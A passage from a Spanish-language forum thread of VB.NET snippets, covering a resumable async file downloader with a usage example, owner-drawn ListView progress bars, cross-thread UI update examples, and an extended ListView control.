  470.                                          New Object() {e})
  471.        Else
  472.            RaiseEvent DownloadCompleted(Me, e)
  473.        End If
  474.    End Sub
  475.  
  476. #End Region
  477.  
  478. End Class
  479.  
  480. Public Class Download_Helper
  481.  
  482.    ''' <summary>
  483.    ''' Resumes a file download.
  484.    ''' </summary>
  485.    Public Shared Sub Resume_Download(ByVal File As Object)
  486.  
  487.        Dim Downloader As DownloadFileAsyncExtended
  488.  
  489.        Try
  490.            Downloader = DirectCast(File, DownloadFileAsyncExtended)
  491.            Downloader.CancelAsync()
  492.  
  493.        Catch ex As Exception
  494.            MessageBox.Show(ex.Message, Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
  495.  
  496.        End Try
  497.  
  498.  
  499.    End Sub
  500.  
  501.    ''' <summary>
  502.    ''' Pauses or cancel a file download.
  503.    ''' </summary>
  504.    Public Shared Sub PauseCancel_Download(ByVal File As Object)
  505.  
  506.        Dim Downloader As DownloadFileAsyncExtended
  507.  
  508.        Try
  509.  
  510.            Downloader = DirectCast(File, DownloadFileAsyncExtended)
  511.  
  512.            If Not Downloader.IsBusy Then
  513.                Downloader.ResumeAsync()
  514.            End If
  515.  
  516.        Catch ex As Exception
  517.            MessageBox.Show(ex.Message, Nothing, MessageBoxButtons.OK, MessageBoxIcon.Error)
  518.  
  519.        End Try
  520.  
  521.    End Sub
  522.  
  523. End Class
  524.  
  525. '// This class is passed as a parameter to the GetResponse Callback,
  526. '// so we can work with the data in the Response Callback.
  527. Public Class HttpWebRequestState
  528.  
  529.    Private _LocalFilePath As String
  530.    Private _Request As HttpWebRequest
  531.    Private _ResumeDownload As Boolean
  532.    Private _userToken As Object
  533.  
  534.    Public Sub New(ByVal LocalFilePath As String, ByVal Request As HttpWebRequest, ByVal ResumeDownload As Boolean, ByVal userToken As Object)
  535.        _LocalFilePath = LocalFilePath
  536.        _Request = Request
  537.        _ResumeDownload = ResumeDownload
  538.        _userToken = userToken
  539.    End Sub
  540.  
  541.    Public ReadOnly Property LocalFilePath() As String
  542.        Get
  543.            Return _LocalFilePath
  544.        End Get
  545.    End Property
  546.  
  547.    Public ReadOnly Property Request() As HttpWebRequest
  548.        Get
  549.            Return _Request
  550.        End Get
  551.    End Property
  552.  
  553.    Public ReadOnly Property ResumeDownload() As Boolean
  554.        Get
  555.            Return _ResumeDownload
  556.        End Get
  557.    End Property
  558.  
  559.    Public ReadOnly Property userToken() As Object
  560.        Get
  561.            Return _userToken
  562.        End Get
  563.    End Property
  564.  
  565. End Class
  566.  
  567.  
  568. '// This is the data returned to the user for each download in the
  569. '// Progress Changed event, so you can update controls with the progress.
  570. Public Class FileDownloadProgressChangedEventArgs
  571.    Inherits EventArgs
  572.  
  573.    Private _BytesReceived As Long
  574.    Private _TotalBytesToReceive As Long
  575.    Private _DownloadTime As Long
  576.    Private _DownloadSpeed As Long
  577.    Private _userToken As Object
  578.  
  579.    Public Sub New(ByVal BytesReceived As Long, ByVal TotalBytesToReceive As Long, ByVal DownloadTime As Long, ByVal DownloadSpeed As Long, ByVal userToken As Object)
  580.        _BytesReceived = BytesReceived
  581.        _TotalBytesToReceive = TotalBytesToReceive
  582.        _DownloadTime = DownloadTime
  583.        _DownloadSpeed = DownloadSpeed
  584.        _userToken = userToken
  585.    End Sub
  586.  
  587.    Public ReadOnly Property BytesReceived() As Long
  588.        Get
  589.            Return _BytesReceived
  590.        End Get
  591.    End Property
  592.  
  593.    Public ReadOnly Property TotalBytesToReceive() As Long
  594.        Get
  595.            Return _TotalBytesToReceive
  596.        End Get
  597.    End Property
  598.  
  599.    Public ReadOnly Property ProgressPercentage() As Long
  600.        Get
  601.            If _TotalBytesToReceive > 0 Then
  602.                Return Math.Ceiling((_BytesReceived / _TotalBytesToReceive) * 100)
  603.            Else
  604.                Return -1
  605.            End If
  606.        End Get
  607.    End Property
  608.  
  609.    Public ReadOnly Property DownloadTimeSeconds() As Long
  610.        Get
  611.            Return _DownloadTime
  612.        End Get
  613.    End Property
  614.  
  615.    Public ReadOnly Property RemainingTimeSeconds() As Long
  616.        Get
  617.            If DownloadSpeedBytesPerSec > 0 Then
  618.                Return Math.Ceiling((_TotalBytesToReceive - _BytesReceived) / DownloadSpeedBytesPerSec)
  619.            Else
  620.                Return 0
  621.            End If
  622.        End Get
  623.    End Property
  624.  
  625.    Public ReadOnly Property DownloadSpeedBytesPerSec() As Long
  626.        Get
  627.            Return _DownloadSpeed
  628.        End Get
  629.    End Property
  630.  
  631.    Public ReadOnly Property userToken() As Object
  632.        Get
  633.            Return _userToken
  634.        End Get
  635.    End Property
  636.  
  637. End Class
  638.  
  639.  
  640. '// This is the data returned to the user for each download in the
  641. '// Download Completed event, so you can update controls with the result.
  642. Public Class FileDownloadCompletedEventArgs
  643.    Inherits EventArgs
  644.  
  645.    Private _ErrorMessage As Exception
  646.    Private _Cancelled As Boolean
  647.    Private _userToken As Object
  648.  
  649.    Public Sub New(ByVal ErrorMessage As Exception, ByVal Cancelled As Boolean, ByVal userToken As Object)
  650.        _ErrorMessage = ErrorMessage
  651.        _Cancelled = Cancelled
  652.        _userToken = userToken
  653.    End Sub
  654.  
  655.    Public ReadOnly Property ErrorMessage() As Exception
  656.        Get
  657.            Return _ErrorMessage
  658.        End Get
  659.    End Property
  660.  
  661.    Public ReadOnly Property Cancelled() As Boolean
  662.        Get
  663.            Return _Cancelled
  664.        End Get
  665.    End Property
  666.  
  667.    Public ReadOnly Property userToken() As Object
  668.        Get
  669.            Return _userToken
  670.        End Get
  671.    End Property
  672.  
  673. End Class
  674.  
  675. #End Region


Y aquí una Class para entender su funcionamiento.
(Copiar y pegar la class y compilar)

(http://img850.imageshack.us/img850/7859/b6kb.png)


Código
  1. Public Class Form1
  2.  
  3.    ' // Instance a new Downlaoder Class
  4.    Private WithEvents Downloader As New DownloadFileAsyncExtended
  5.  
  6.    ' // create a listview to update.
  7.    Private lv As New ListView With {.View = View.Details, .Dock = DockStyle.Fill}
  8.  
  9.    ' // create a listview item to update.
  10.    Private lvi As New ListViewItem
  11.  
  12.    '// Set an url file to downloads.
  13.    Dim url As String = "http://msft.digitalrivercontent.net/win/X17-58857.iso"
  14.  
  15.    Private Sub Form1_Shown(sender As Object, e As EventArgs) Handles MyBase.Shown
  16.  
  17.        ' Add columns to listview.
  18.        lv.Columns.AddRange({New ColumnHeader With {.Text = "Filename"}, _
  19.                             New ColumnHeader With {.Text = "Size"}, _
  20.                             New ColumnHeader With {.Text = "Status"}, _
  21.                             New ColumnHeader With {.Text = "Completed"}, _
  22.                             New ColumnHeader With {.Text = "Progress"}, _
  23.                             New ColumnHeader With {.Text = "Speed"}, _
  24.                             New ColumnHeader With {.Text = "Time Elapsed"}, _
  25.                             New ColumnHeader With {.Text = "Time Left"} _
  26.                           })
  27.  
  28.        ' Add subitems to listview item.
  29.        lvi.SubItems.AddRange({"Filename", "Size", "Status", "Completed", "Progress", "Speed", "Time Elapsed", "Time Left"})
  30.  
  31.        ' Add a Object tag to the listview item,
  32.        ' so later we can reffer to this download to pause/resume or cancel it.
  33.        lvi.Tag = Downloader
  34.  
  35.        ' Add the Listview control into the UI.
  36.        Me.Controls.Add(lv)
  37.        ' Add the Listview item into the Listview.
  38.        lv.Items.Add(lvi)
  39.  
  40.        ' Set Application simultaneous internet downloads limit.
  41.        Net.ServicePointManager.DefaultConnectionLimit = 5
  42.  
  43.        '// IMPORTANT !!
  44.        '// If you don't add this line, then all events are raised on a separate thread,
  45.        '// and you will get cross-thread errors when accessing the Listview,
  46.        '// or other controls directly in the raised events.
  47.        Downloader.SynchronizingObject = Me
  48.  
  49.        '// Update frequency.
  50.        '// A value higher than 500 ms will prevent the DownloadProgressChanged event,
  51.        '// from firing continuously and hogging CPU when updating the controls.
  52.        '// If you download small files that could be downloaded within a second,
  53.        '// then set it to "NoDelay" or the progress might not be visible.
  54.        Downloader.ProgressUpdateFrequency = DownloadFileAsyncExtended.UpdateFrequency.MilliSeconds_500
  55.  
  56.        '// The method to actually download a file. The "userToken" parameter can,
  57.        '// for example be a control you wish to update in the DownloadProgressChanged,
  58.        '// and DownloadCompleted events. It is a ListViewItem in this example.
  59.        Downloader.DowloadFileAsync(url, "C:\Downloaded file.iso", lvi)
  60.  
  61.    End Sub
  62.  
  63.  
  64.    '// This event allows you to show the download progress to the user.
  65.    '
  66.    ' e.BytesReceived = Bytes received so far.
  67.    ' e.DownloadSpeedBytesPerSec = Download speed in bytes per second.
  68.    ' e.DownloadTimeSeconds = Download time in seconds so far.
  69.    ' e.ProgressPercentage = Percentage of the file downloaded.
  70.    ' e.RemainingTimeSeconds = Remaining download time in seconds.
  71.    ' e.TotalBytesToReceive = Total size of the file that is being downloaded.
  72.    ' e.userToken = Usually the control(s) you wish to update.
  73.    Private Sub DownloadProgressChanged(ByVal sender As Object, ByVal e As FileDownloadProgressChangedEventArgs) _
  74.    Handles Downloader.DownloadProgressChanged
  75.  
  76.        ' Get the ListViewItem we passed as "userToken" parameter, so we can update it.
  77.        Dim lvi As ListViewItem = DirectCast(e.userToken, ListViewItem)
  78.  
  79.        ' Update the ListView item subitems.
  80.        lvi.SubItems(0).Text = url
  81.        lvi.SubItems(1).Text = String.Format("{0:#,#} KB", (e.TotalBytesToReceive / 1024))
  82.        lvi.SubItems(2).Text = "Downloading"
  83.        lvi.SubItems(3).Text = String.Format("{0:#,#} KB", (e.BytesReceived / 1024))
  84.        lvi.SubItems(4).Text = e.ProgressPercentage & "%"
  85.        lvi.SubItems(5).Text = (e.DownloadSpeedBytesPerSec \ 1024).ToString & " kB/s"
  86.        lvi.SubItems(6).Text = String.Format("{0}:{1}:{2}", _
  87.                               (e.DownloadTimeSeconds \ 3600).ToString("00"), _
  88.                               ((e.DownloadTimeSeconds Mod 3600) \ 60).ToString("00"), _
  89.                               (e.DownloadTimeSeconds Mod 60).ToString("00"))
  90.        lvi.SubItems(7).Text = String.Format("{0}:{1}:{2}", _
  91.                               (e.RemainingTimeSeconds \ 3600).ToString("00"), _
  92.                               ((e.RemainingTimeSeconds Mod 3600) \ 60).ToString("00"), _
  93.                               (e.RemainingTimeSeconds Mod 60).ToString("00"))
  94.  
  95.    End Sub
  96.  
  97.  
  98.    '// This event lets you know when the download is complete.
  99.    '// The download finished successfully, the user cancelled the download or there was an error.
  100.    Private Sub DownloadCompleted(ByVal sender As Object, ByVal e As FileDownloadCompletedEventArgs) _
  101.    Handles Downloader.DownloadCompleted
  102.  
  103.        ' Get the ListViewItem we passed as userToken parameter, so we can update it.
  104.        Dim lvi As ListViewItem = DirectCast(e.userToken, ListViewItem)
  105.  
  106.        If e.ErrorMessage IsNot Nothing Then ' Was there an error.
  107.  
  108.            lvi.SubItems(2).Text = "Error: " & e.ErrorMessage.Message.ToString
  109.  
  110.            ' Set an Error ImageKey.
  111.            ' lvi.ImageKey = "Error"
  112.  
  113.        ElseIf e.Cancelled Then ' The user cancelled the download.
  114.  
  115.            lvi.SubItems(2).Text = "Paused"
  116.  
  117.            ' Set a Paused ImageKey.
  118.            ' lvi.ImageKey = "Paused"
  119.  
  120.        Else ' Download was successful.
  121.  
  122.            lvi.SubItems(2).Text = "Finished"
  123.  
  124.            ' Set a Finished ImageKey.
  125.            ' lvi.ImageKey = "Finished"
  126.  
  127.        End If
  128.  
  129.        ' Set Tag to Nothing in order to remove the wClient class instance,
  130.        ' so this way we know we can't resume the download.
  131.        lvi.Tag = Nothing
  132.  
  133.    End Sub
  134.  
  135.    ' Private Sub Button_Resume_Click(sender As Object, e As EventArgs) Handles Button_Resume.Click
  136.    '// To Resume a file:
  137.    ' Download_Helper.Resume_Download(lvi.Tag)
  138.    'End Sub
  139.  
  140.    'Private Sub Button_Pause_Click(sender As Object, e As EventArgs) Handles Button_Pause.Click
  141.    '// To pause or cancel a file:
  142.    ' Download_Helper.PauseCancel_Download(lvi.Tag)
  143.    'End Sub
  144.  
  145. End Class


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 21 Octubre 2013, 19:11 pm
· Dibujar una barra de progreso en un Item de un ListView:

(http://img850.imageshack.us/img850/804/ntym.png)

(http://img189.imageshack.us/img189/803/09b5.png)

(http://img577.imageshack.us/img577/6784/olm5.png)

PD: Es preferible adaptar el siguiente código para hacer un user-control heredado de un Listview (solo hay que modificar 4 tonterías sencillas de este código) y añadirle anti-flickering al user-control, pero bueno, pueden dibujar el Listview desde otra Class como se muestra en este ejemplo, el código no es mio, solo lo he adaptado.

Código
  1. #Region " [ListView] Draw ProgressBar "
  2.  
  3.    ' [ [ListView] Draw ProgressBar ]
  4.  
  5.    Private Listview_Column As Integer = 4 ' The column index to draw the ProgressBar
  6.  
  7.    Private Percent As Double = 0 ' The progress percentage
  8.    Private Percent_DecimalFactor As Short = 1 ' Example: 0.1
  9.    Private Percent_Text As String = "% Done" ' Example: 0.1% Done
  10.    Private Percent_Forecolor As Brush = Brushes.Black
  11.    Private Percent_Font As Font = Me.Font
  12.  
  13.    Private ProgressBar_BackColor As Brush = Brushes.White
  14.    Private ProgressBar_BorderColor As Pen = Pens.LightGray
  15.    Private ProgressBar_FillColor1 As Color = Color.YellowGreen
  16.    Private ProgressBar_FillColor2 As Color = Color.White
  17.  
  18.    ' ListView [Layout]
  19.    Private Sub ListView1_Layout(sender As Object, e As LayoutEventArgs) _
  20.    Handles ListView1.Layout
  21.  
  22.        ' Set Listview OwnerDraw to True, so we can draw the progressbar.
  23.        ListView1.OwnerDraw = True
  24.  
  25.    End Sub
  26.  
  27.    ' ListView [DrawColumnHeader]
  28.    Private Sub ListView_DrawColumnHeader(ByVal sender As Object, ByVal e As DrawListViewColumnHeaderEventArgs) _
  29.    Handles ListView1.DrawColumnHeader
  30.  
  31.        e.DrawDefault = True ' Draw default ColumnHeader.
  32.  
  33.    End Sub
  34.  
  35.    ' ListView [DrawItem]
  36.    Private Sub ListView_DrawItem(ByVal sender As Object, ByVal e As DrawListViewItemEventArgs) _
  37.    Handles ListView1.DrawItem
  38.  
  39.        e.DrawDefault = False ' Draw default main item.
  40.  
  41.    End Sub
  42.  
  43.    ' ListView [DrawSubItem]
  44.    Private Sub ListView_DrawSubItem(ByVal sender As Object, ByVal e As DrawListViewSubItemEventArgs) _
  45.    Handles ListView1.DrawSubItem
  46.  
  47.        If (e.ItemState And ListViewItemStates.Selected) <> 0 Then
  48.            ' Item is highlighted.
  49.            e.Graphics.FillRectangle(SystemBrushes.Highlight, e.Bounds)
  50.        End If
  51.  
  52.        ' Draw the progressbar.
  53.        If e.ColumnIndex = Listview_Column Then
  54.  
  55.            ' Center the text in the progressbar.
  56.            Dim sf As New StringFormat
  57.            sf.Alignment = StringAlignment.Center
  58.  
  59.            ' Background color of the progressbar is white.
  60.            e.Graphics.FillRectangle(ProgressBar_BackColor, e.Bounds)
  61.  
  62.            ' Percentage of the progressbar to fill.
  63.            Dim FillPercent As Integer = CInt(((Percent) / 100) * (e.Bounds.Width - 2))
  64.  
  65.            ' This creates a nice color gradient to fill.
  66.            Dim brGradient As Brush = _
  67.                New System.Drawing.Drawing2D.LinearGradientBrush(New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height), _
  68.                                                                 ProgressBar_FillColor1, ProgressBar_FillColor2, 270, True)
  69.            ' Draw the actual progressbar.
  70.            e.Graphics.FillRectangle(brGradient, _
  71.                                     e.Bounds.X + 1, e.Bounds.Y + 2, _
  72.                                     FillPercent, e.Bounds.Height - 3)
  73.  
  74.            ' Draw the percentage number and percent sign.
  75.            ' NOTE: make sure that e.SubItem.Text only contains a number or an error will occur.
  76.            e.Graphics.DrawString(Percent.ToString("n" & Percent_DecimalFactor) & Percent_Text, _
  77.                                  Percent_Font, Percent_Forecolor, _
  78.                                  CSng(e.Bounds.X + (e.Bounds.Width / 2)), e.Bounds.Y + 3, _
  79.                                  sf)
  80.  
  81.            ' Draw a light gray rectangle/border around the progressbar.
  82.            e.Graphics.DrawRectangle(ProgressBar_BorderColor, _
  83.                                     e.Bounds.X, e.Bounds.Y + 1, _
  84.                                     e.Bounds.Width - 1, e.Bounds.Height - 2)
  85.        Else
  86.            e.DrawDefault = True
  87.  
  88.        End If
  89.  
  90.    End Sub
  91.  
  92. #End Region
  93.  



· Un ejemplo que he hecho para mostrar como usar una expresión Lambda al Invocar propiedades de controles:

Código
  1. #Region " Invoke Lambda "
  2.  
  3.    ' Create a thread.
  4.    Private t As Threading.Thread = New Threading.Thread(AddressOf UI_Thread)
  5.  
  6.    ' Create two Textbox.
  7.    Dim tb1 As New TextBox With {.Text = "Hello World!"}
  8.    Dim tb2 As New TextBox With {.Location = New Point(tb1.Location.X, (tb1.Location.Y + tb1.Height))}
  9.  
  10.    Private Sub Form1_Load(sender As Object, e As EventArgs) _
  11.    Handles MyBase.Load
  12.  
  13.        Me.Controls.AddRange({tb1, tb2}) ' Add the Textbox to the UI.
  14.        t.Start() ' Start the thread.
  15.  
  16.    End Sub
  17.  
  18.    Private Sub UI_Thread()
  19.  
  20.        If tb2.InvokeRequired Then ' Check if invocation is required for the TextBox on the main thread.
  21.            tb2.Invoke(Sub() tb2.Text = tb1.Text) ' Then Invoke a Lambda method.
  22.        Else
  23.            tb2.Text = tb1.Text
  24.        End If
  25.  
  26.    End Sub
  27.  
  28. #End Region



· Un ejemplo que muestra como crear y usar un delegado para actualizar un control desde otro thread:

Código
  1. #Region " Delegate Example "
  2.  
  3.   ' Create the delegate to be able to update the TextBox.
  4.    Private Delegate Sub TextBoxUpdateUI(ByVal txt As String)
  5.  
  6.    ' Create a thread.
  7.    Private t As Threading.Thread = New Threading.Thread(AddressOf UI_Thread)
  8.  
  9.    ' Create two Textbox.
  10.    Dim tb1 As New TextBox With {.Text = "Hello World!"}
  11.    Dim tb2 As New TextBox With {.Location = New Point(tb1.Location.X, (tb1.Location.Y + tb1.Height))}
  12.  
  13.    Private Sub Form1_Load(sender As Object, e As EventArgs) _
  14.    Handles MyBase.Load
  15.  
  16.        Me.Controls.AddRange({tb1, tb2}) ' Add the Textbox to the UI.
  17.        t.Start() ' Start the thread.
  18.  
  19.    End Sub
  20.  
  21.    Private Sub UI_Thread()
  22.  
  23.        If tb2.InvokeRequired Then ' Check if invocation is required for the TextBox on the main thread.
  24.            Dim tb_delegate As New TextBoxUpdateUI(AddressOf UI_Thread) ' Set the TextBox delegate.
  25.            tb2.Invoke(tb_delegate, Text) ' Invoke the delegate and the control property to update.
  26.        Else
  27.            tb2.Text = tb1.Text
  28.        End If
  29.  
  30.    End Sub
  31.  
  32. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 21 Octubre 2013, 19:29 pm
Le he hecho una revisión de código a un ListView extendio que ya compartí hace tiempo, le he añadido la ProgressBar que he comentado más arriba, no lo he testeado mucho pero parece que todo funciona como debe funcionar,
que lo disfruteis!

Código
  1. '  /*                  *\
  2. ' |#* ListView Elektro *#|
  3. '  \*                  */
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. '   Properties:
  8. '   ...........
  9. ' · Disable_Flickering
  10. ' · Double_Buffer
  11. ' · GridLineColor
  12. ' · ItemHighlightColor
  13. ' · ItemNotFocusedHighlighColor
  14. ' · DrawCustomGridLines
  15. ' · UseDefaultGridLines
  16. ' · Enable_ProgressBar
  17. ' · Progressbar_Column
  18. ' · Percent
  19. ' · Percent_Decimal
  20. ' · Percent_Font
  21. ' · Percent_Text
  22. ' · Percent_Forecolor
  23. ' · Percent_Text_Allignment
  24. ' · ProgressBar_BackColor
  25. ' · ProgressBar_BorderColor
  26. ' · ProgressBar_FillColor1
  27. ' · ProgressBar_FillColor2
  28. '
  29. '   Events:
  30. '   .......
  31. ' · ItemAdded
  32. ' · ItemRemoved
  33. '
  34. '   Methods:
  35. '   .......
  36. ' · AddItem
  37. ' · RemoveItem
  38.  
  39. Public Class ListView_Elektro : Inherits ListView
  40.  
  41.    Public Event ItemAdded()
  42.    Public Event ItemRemoved()
  43.  
  44.    Private _Disable_Flickering As Boolean = True
  45.    Private _gridLines As Boolean = False
  46.    Private _useDefaultGridLines As Boolean = False
  47.    Private _gridLineColor As Color = Color.Black
  48.    Private _itemHighlightColor As Color = Color.FromKnownColor(KnownColor.Highlight)
  49.    Private _itemNotFocusedHighlighColor As Color = Color.FromKnownColor(KnownColor.MenuBar)
  50.  
  51.    Private _enable_progressbar As Boolean = False
  52.    Private _progressbar_column As Integer = Nothing
  53.  
  54.    Private _percent As Double = 0
  55.    Private _percent_decimal As Short = 2
  56.    Private _percent_text As String = "%"
  57.    Private _percent_text_allignment As StringAlignment = StringAlignment.Center
  58.    Private _percent_stringformat As StringFormat = New StringFormat With {.Alignment = _percent_text_allignment}
  59.    Private _percent_font As Font = Me.Font
  60.    Private _percent_forecolor As SolidBrush = New SolidBrush(Color.Black)
  61.  
  62.    Private _progressBar_backcolor As SolidBrush = New SolidBrush(Color.Red)
  63.    Private _progressBar_bordercolor As Pen = New Pen(Color.LightGray)
  64.    Private _progressBar_fillcolor1 As Color = Color.YellowGreen
  65.    Private _progressBar_fillcolor2 As Color = Color.White
  66.  
  67.    Public Sub New()
  68.  
  69.        Me.Name = "ListView_Elektro"
  70.        Me.DoubleBuffered = True
  71.        Me.UseDefaultGridLines = True
  72.  
  73.        ' Set Listview OwnerDraw to True, so we can draw the progressbar inside.
  74.        If Me.Enable_ProgressBar Then Me.OwnerDraw = True
  75.  
  76.        ' Me.GridLines = True
  77.        ' Me.MultiSelect = True
  78.        ' Me.FullRowSelect = True
  79.        ' Me.View = View.Details
  80.  
  81.    End Sub
  82.  
  83. #Region " Properties "
  84.  
  85.    ''' <summary>
  86.    ''' Enable/Disable any flickering effect on the ListView.
  87.    ''' </summary>
  88.    Protected Overrides ReadOnly Property CreateParams() As CreateParams
  89.        Get
  90.            If _Disable_Flickering Then
  91.                Dim cp As CreateParams = MyBase.CreateParams
  92.                cp.ExStyle = cp.ExStyle Or &H2000000
  93.                Return cp
  94.            Else
  95.                Return MyBase.CreateParams
  96.            End If
  97.        End Get
  98.    End Property
  99.  
  100.    ''' <summary>
  101.    ''' Set the Double Buffer.
  102.    ''' </summary>
  103.    Public Property Double_Buffer() As Boolean
  104.        Get
  105.            Return Me.DoubleBuffered
  106.        End Get
  107.        Set(ByVal Value As Boolean)
  108.            Me.DoubleBuffered = Value
  109.        End Set
  110.    End Property
  111.  
  112.    ''' <summary>
  113.    ''' Enable/Disable the flickering effects on this ListView.
  114.    '''
  115.    ''' This property turns off any Flicker effect on the ListView
  116.    ''' ...but also reduces the performance (speed) of the ListView about 30% slower.
  117.    ''' This don't affect to the performance of the application itself, only to the performance of this control.
  118.    ''' </summary>
  119.    Public Property Disable_Flickering() As Boolean
  120.        Get
  121.            Return _Disable_Flickering
  122.        End Get
  123.        Set(ByVal Value As Boolean)
  124.            Me._Disable_Flickering = Value
  125.        End Set
  126.    End Property
  127.  
  128.    ''' <summary>
  129.    ''' Changes the gridline color.
  130.    ''' </summary>
  131.    Public Property GridLineColor() As Color
  132.        Get
  133.            Return _gridLineColor
  134.        End Get
  135.        Set(ByVal value As Color)
  136.            If value <> _gridLineColor Then
  137.                _gridLineColor = value
  138.                If _gridLines Then
  139.                    Me.Invalidate()
  140.                End If
  141.            End If
  142.        End Set
  143.    End Property
  144.  
  145.    ''' <summary>
  146.    ''' Changes the color when item is highlighted.
  147.    ''' </summary>
  148.    Public Property ItemHighlightColor() As Color
  149.        Get
  150.            Return _itemHighlightColor
  151.        End Get
  152.        Set(ByVal value As Color)
  153.            If value <> _itemHighlightColor Then
  154.                _itemHighlightColor = value
  155.                Me.Invalidate()
  156.            End If
  157.        End Set
  158.    End Property
  159.  
  160.    ''' <summary>
  161.    ''' Changes the color when the item is not focused.
  162.    ''' </summary>
  163.    Public Property ItemNotFocusedHighlighColor() As Color
  164.        Get
  165.            Return _itemNotFocusedHighlighColor
  166.        End Get
  167.        Set(ByVal value As Color)
  168.            If value <> _itemNotFocusedHighlighColor Then
  169.                _itemNotFocusedHighlighColor = value
  170.                Me.Invalidate()
  171.            End If
  172.        End Set
  173.    End Property
  174.  
  175.    Private ReadOnly Property DrawCustomGridLines() As Boolean
  176.        Get
  177.            Return (_gridLines And Not _useDefaultGridLines)
  178.        End Get
  179.    End Property
  180.  
  181.    Public Shadows Property GridLines() As Boolean
  182.        Get
  183.            Return _gridLines
  184.        End Get
  185.        Set(ByVal value As Boolean)
  186.            _gridLines = value
  187.        End Set
  188.    End Property
  189.  
  190.    ''' <summary>
  191.    ''' use the default gridlines.
  192.    ''' </summary>
  193.    Public Property UseDefaultGridLines() As Boolean
  194.        Get
  195.            Return _useDefaultGridLines
  196.        End Get
  197.        Set(ByVal value As Boolean)
  198.            If _useDefaultGridLines <> value Then
  199.                _useDefaultGridLines = value
  200.            End If
  201.            MyBase.GridLines = value
  202.            MyBase.OwnerDraw = Not value
  203.        End Set
  204.    End Property
  205. #End Region
  206.  
  207. #Region " Procedures "
  208.  
  209.    ''' <summary>
  210.    ''' Monitors when an Item is added to the ListView.
  211.    ''' </summary>
  212.    Public Function AddItem(ByVal Text As String) As ListViewItem
  213.        RaiseEvent ItemAdded()
  214.        Return MyBase.Items.Add(Text)
  215.    End Function
  216.  
  217.    ''' <summary>
  218.    ''' Monitors when an Item is removed from the ListView.
  219.    ''' </summary>
  220.    Public Sub RemoveItem(ByVal Item As ListViewItem)
  221.        RaiseEvent ItemRemoved()
  222.        MyBase.Items.Remove(Item)
  223.    End Sub
  224.  
  225.    Protected Overrides Sub OnDrawColumnHeader(ByVal e As DrawListViewColumnHeaderEventArgs)
  226.        e.DrawDefault = True
  227.        MyBase.OnDrawColumnHeader(e)
  228.    End Sub
  229.  
  230.    Protected Overrides Sub OnLostFocus(ByVal e As System.EventArgs)
  231.        For Each selectedIndex As Integer In MyBase.SelectedIndices
  232.            MyBase.RedrawItems(selectedIndex, selectedIndex, False)
  233.        Next
  234.        MyBase.OnLostFocus(e)
  235.    End Sub
  236.  
  237.    Protected Overrides Sub OnDrawSubItem(ByVal e As DrawListViewSubItemEventArgs)
  238.  
  239.        Dim drawAsDefault As Boolean = False
  240.        Dim highlightBounds As Rectangle = Nothing
  241.        Dim highlightBrush As SolidBrush = Nothing
  242.  
  243.        'FIRST DETERMINE THE COLOR
  244.        If e.Item.Selected Then
  245.            If MyBase.Focused Then
  246.                highlightBrush = New SolidBrush(_itemHighlightColor)
  247.            ElseIf HideSelection Then
  248.                drawAsDefault = True
  249.            Else
  250.                highlightBrush = New SolidBrush(_itemNotFocusedHighlighColor)
  251.            End If
  252.        Else
  253.            drawAsDefault = True
  254.        End If
  255.  
  256.        If drawAsDefault Then
  257.            e.DrawBackground()
  258.        Else
  259.            'NEXT DETERMINE THE BOUNDS IN WHICH TO DRAW THE BACKGROUND
  260.            If FullRowSelect Then
  261.                highlightBounds = e.Bounds
  262.            Else
  263.                highlightBounds = e.Item.GetBounds(ItemBoundsPortion.Label)
  264.            End If
  265.  
  266.            'ONLY DRAW HIGHLIGHT IN 1 OF 2 CASES
  267.            'CASE 1 - FULL ROW SELECT (AND DRAWING ANY ITEM)
  268.            'CASE 2 - NOT FULL ROW SELECT (AND DRAWING 1ST ITEM)
  269.            If FullRowSelect Then
  270.                e.Graphics.FillRectangle(highlightBrush, highlightBounds)
  271.            ElseIf e.ColumnIndex = 0 Then
  272.                e.Graphics.FillRectangle(highlightBrush, highlightBounds)
  273.            Else
  274.                e.DrawBackground()
  275.            End If
  276.        End If
  277.  
  278.        e.DrawText()
  279.  
  280.        If _gridLines Then
  281.            e.Graphics.DrawRectangle(New Pen(_gridLineColor), e.Bounds)
  282.        End If
  283.  
  284.  
  285.        If FullRowSelect Then
  286.            e.DrawFocusRectangle(e.Item.GetBounds(ItemBoundsPortion.Entire))
  287.        Else
  288.            e.DrawFocusRectangle(e.Item.GetBounds(ItemBoundsPortion.Label))
  289.        End If
  290.  
  291.        MyBase.OnDrawSubItem(e)
  292.  
  293.    End Sub
  294.  
  295. #End Region
  296.  
  297. #Region " ProgressBar Properties "
  298.  
  299.    ''' <summary>
  300.    ''' Enables the drawing of a ProgressBar
  301.    ''' This property should be "True" to use any of the ProgressBar properties.
  302.    ''' </summary>
  303.    Public Property Enable_ProgressBar As Boolean
  304.        Get
  305.            Return _enable_progressbar
  306.        End Get
  307.        Set(ByVal value As Boolean)
  308.            Me.OwnerDraw = value
  309.            _enable_progressbar = value
  310.        End Set
  311.    End Property
  312.  
  313.    ''' <summary>
  314.    ''' The column index to draw the ProgressBar
  315.    ''' </summary>
  316.    Public Property Progressbar_Column As Integer
  317.        Get
  318.            Return _progressbar_column
  319.        End Get
  320.        Set(ByVal value As Integer)
  321.            _progressbar_column = value
  322.        End Set
  323.    End Property
  324.  
  325.    ''' <summary>
  326.    ''' The ProgressBar progress percentage
  327.    ''' </summary>
  328.    Public Property Percent As Double
  329.        Get
  330.            Return _percent
  331.        End Get
  332.        Set(ByVal value As Double)
  333.            _percent = value
  334.        End Set
  335.    End Property
  336.  
  337.    ''' <summary>
  338.    ''' The decimal factor which should be displayed for the ProgressBar progress percentage
  339.    ''' </summary>
  340.    Public Property Percent_Decimal As Short
  341.        Get
  342.            Return _percent_decimal
  343.        End Get
  344.        Set(ByVal value As Short)
  345.            _percent_decimal = value
  346.        End Set
  347.    End Property
  348.  
  349.    ''' <summary>
  350.    ''' The Font to be used as the ProgressBar Percent text
  351.    ''' </summary>
  352.    Public Property Percent_Font As Font
  353.        Get
  354.            Return _percent_font
  355.        End Get
  356.        Set(ByVal value As Font)
  357.            _percent_font = value
  358.        End Set
  359.    End Property
  360.  
  361.    ''' <summary>
  362.    ''' The additional text to add to the ProgressBar Percent value
  363.    ''' </summary>
